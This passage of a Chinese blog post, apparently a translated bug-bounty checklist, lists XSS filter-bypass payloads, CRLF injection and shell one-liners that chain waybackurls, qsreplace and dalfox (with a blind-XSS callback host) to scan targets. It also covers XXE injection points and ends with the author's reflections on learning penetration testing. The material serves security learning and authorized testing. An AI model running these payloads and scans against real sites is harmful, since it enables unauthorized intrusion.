Ex:- <script>%0alert(1)</script>

尝试双重编码

Ex:- %2522

测试递归过滤器，如果防火墙删除红色文本，我们将获得清晰的有效负载

Ex:- <src<script>ipt>alert(1);</scr</script>ipt>

注入不带空格的锚标记

Ex:- <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert(1)">

尝试使用 Bullet 绕过空格

Ex:- <svg•onload=alert(1)>

尝试更改请求方式
1
2
Ex:- GET /?q=xss  POST/
                  q=xss
尝试 CRLF 注入
1
2
3
Ex:- GET /%0A%ODValue=%20Virus
     POST 
     Value= Virus

参考

https://github.com/heilla/SecurityTesting/blob/master/HuntingCheckList.md

自动化 XSS

确保您的计算机上安装了 Go

要在您的计算机上安装 Go：

1) sudo apt install -y golang
2) export GOROOT=/usr/lib/go
3) export GOPATH=$HOME/go
4) export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
5) source .bashrc

如何使用 Dalfox 狩猎盲目 XSS？

使用 Tomnomnom 的 Waybackurls 来获取特定目标的 URL。

使用 GF 模式查找可能的 XSS 易受攻击的参数。

使用 Dalfox 来查找 XSS。

Step ：
1
waybackurls testphp.vulnweb.com | gf xss | sed 's/=.*/=/' | sort -u | tee Possible_xss.txt && cat Possible_xss.txt | dalfox -b blindxss.xss.ht pipe > output.txt

如何追踪反射型 XSS？

使用 Tomnomnom 的 Waybackurls 来获取特定目标的 URL。

使用 qsreplace 接受标准输入上的 URL，将所有查询字符串值替换为用户提供的值，每个主机和路径仅输出查询字符串参数的每个组合一次。

Step ：
1
waybackurls testphp.vulnweb.com| grep '=' | qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable;done

查找不过滤特殊字符的参数 - One Liner

1
2

echo "test.url" | waybackurls | grep "=" | tee waybackurls.txt
cat waybackruls | egrep -iv ".(jpg|jpeg|js|css|gif|tif|tiff|png|woff|woff2|ico|pdf|svg|txt)" | qsreplace '"><()'| tee combinedfuzz.json && cat combinedfuzz.json | while read host do ; do curl --silent --path-as-is --insecure "$host" | grep -qs "\"><()" && echo -e "$host \033[91m Vullnerable \e[0m \n" || echo -e "$host  \033[92m Not Vulnerable \e[0m \n"; done | tee XSS.txt

工具获取

1:- Dalfox

2:- Waybackurls

3:- GF

4:- GF Patterns

5:- qsreplace

Find Script here : QuickXSS

XXE

这些是我检查和寻找 XML 外部实体的方法。

方法

将内容类型从“application/json”/“application/x-www-form-urlencoded”转换为“applcation/xml”。

文件上传允许 docx/xlcs/pdf/zip ，解压缩包并将您的邪恶 xml 代码添加到 xml 文件中。

如果图片上传允许svg，则可以在svgs中注入xml。

如果网络应用程序提供 RSS 源，请将您的恶意代码添加到 RSS 中。

对 /soap api 进行模糊测试，某些应用程序仍在运行soap api

如果目标 Web 应用程序允许 SSO 集成，您可以在 SAML 请求/响应中注入您的 milicious xml 代码

写在后面

21年至22年其实我没有接触太多手动测试的内容，大多都是开源漏扫去跑，也没谁能系统性的教一下，我深感渗透测试这样的技术不能不会，你可以60分，80分，不能0分

此外，在甲方公司的同学都已经开始挖SRC有额外收入了，一方面羡慕死了，一方面更加重了技术焦虑，在第一家乙方公司真的很忙，但所幸我接触了Docker、Vulhub、各种开源工具，甚至自己实现ATTCK编排，我知道该用些什么，并且收集资源的能力有了不小提升

到了22年中，入职同学在的甲方公司后，体系规模、安全投入相比上家公司都不是一个量级的，也更有时间去做些自己的事情，所以我那时候选择补补渗透基础，也恰恰找到了这个How To Hunt文集，比国内一票长篇大论还在说宏观大话的不实际文章好太多了，我开始用谷歌翻译一点点看。

恰好那个上线了自己的Blog，而技术类文章实践是最好记住的方式，但我又没看一遍就能直接挖到SRC的能力，那我就再自己纠一遍机翻的错误或者拗口的地方，转到 Blog 上，等于再记一遍，争取多记住点，记久一点。

后来自22年8月起，到24年2月初，我都是在一点一点的补这篇文章，只不过发布时间一直没有更新，同时，这段时间有两个比较大的变化：我在不停地接收外部白帽子发来的各种漏洞，学习了不少找问题的点和方式，然后在少有的空闲时间里又看看这篇文章，碰到相似的地方，感觉收获颇丰；在23年秋我又进行了一次变动，来到一家中企，他们刚开始进行安全建设，需要有懂技术又懂管理的人，我需要不停地拓宽自己的能力，刚入职第一项任务就是找公司应用的漏洞，进行渗透测试，这是我第一次一个人全范围人工渗透，所幸虽然我能力没有大佬们强，但自己的技术与知识也没辜负与背叛自己，找到了不少问题，大体满意。

回过头来看这篇文章，尤其是这最后的更新，在看在译时，我发现我很多内容都已经了解，接触过了，心中又是不一样的感慨。

我认为我自己搭建起这个博客，当一个“错题本”一般地，把自己接触涉及过的技术知识记录下来，是无比正确且值得的事情。一方面这样的“摸鱼”别人看不出来，另一方面在push内容的时候，你多少会再看一遍你要记录的文章，温故知新（此外也有投简历的作用XD）。

这篇文章更新到一半的时候，我就能找到一些安全问题了，只不过大多是公司内部的，不能展示细节，或者大多都变成了“转载”的内容（因为有人写了，写的还不错，就搬过来了），后来自己找的一些问题也被自己记录下来，放在头脑风暴了。

最后，无比感谢各位公开技术，让我能够学习的人们。

Bypass Exploit SRC Skadi

- Bypass -